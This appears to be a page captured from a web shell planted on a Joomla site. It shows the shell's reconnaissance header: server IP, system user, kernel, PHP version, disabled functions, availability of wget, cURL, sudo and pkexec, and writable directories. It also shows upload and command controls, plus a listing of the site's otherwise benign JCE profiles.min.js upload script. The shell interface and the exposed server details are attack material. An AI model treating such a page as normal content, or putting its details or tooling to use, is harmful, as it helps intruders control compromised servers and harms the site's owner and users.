Private
Server IP : 195.201.23.43  /  Your IP : 52.15.237.156
Web Server : Apache
System : Linux webserver2.vercom.be 5.4.0-192-generic #212-Ubuntu SMP Fri Jul 5 09:47:39 UTC 2024 x86_64
User : kdecoratie ( 1041)
PHP Version : 7.1.33-63+ubuntu20.04.1+deb.sury.org+1
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/kdecoratie/public_html/administrator/components/com_jce/media/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /home/kdecoratie/public_html/administrator/components/com_jce/media/js/profiles.min.js
(function($) {
    $(document).ready(function() {
        // Upload Submit
        $('.upload-profile-container input[type="file"]').change(function(e) {
            e.preventDefault();
            
            var value = $(this).val(), file = this.files[0];

            if (!value || !file) {
                return false;
            }

            var url = $('form').attr('action'), fd = new FormData();

            var args = {};

            $('input[type="hidden"][value="1"]').each(function() {
                args[this.name] = 1;
            });

            var xhr = new XMLHttpRequest();
            xhr.open('POST', url + '&task=profiles.import', true);

            // set request header
            xhr.setRequestHeader('X-Requested-With', 'XMLHttpRequest');

            xhr.onreadystatechange = function () {
                if (xhr.readyState === 4) {
                    var data = {};
                    
                    // success
                    if (xhr.status === 200) {
                        try {
                            data = JSON.parse(xhr.responseText);
                        } catch (e) {
                            alert(e);
                            return false;
                        }
                    }

                    // reset
                    xhr.onreadystatechange = $.noop;
                    xhr = fd = null;

                    document.location.href = data.redirect || 'index.php?option=com_jce&view=profiles';
                }
            };

            $.each(args, function(key, value) {
                fd.append(key, value);
            });

            // convert slashes
            value = value.replace(/[\\\\]+/g, '/');

            // extract name
            var name = value.substr(value.lastIndexOf('/') + 1);

            // append file
            fd.append("profile_file", file, name);

            xhr.send(fd);
        });
    });
})(jQuery);
Private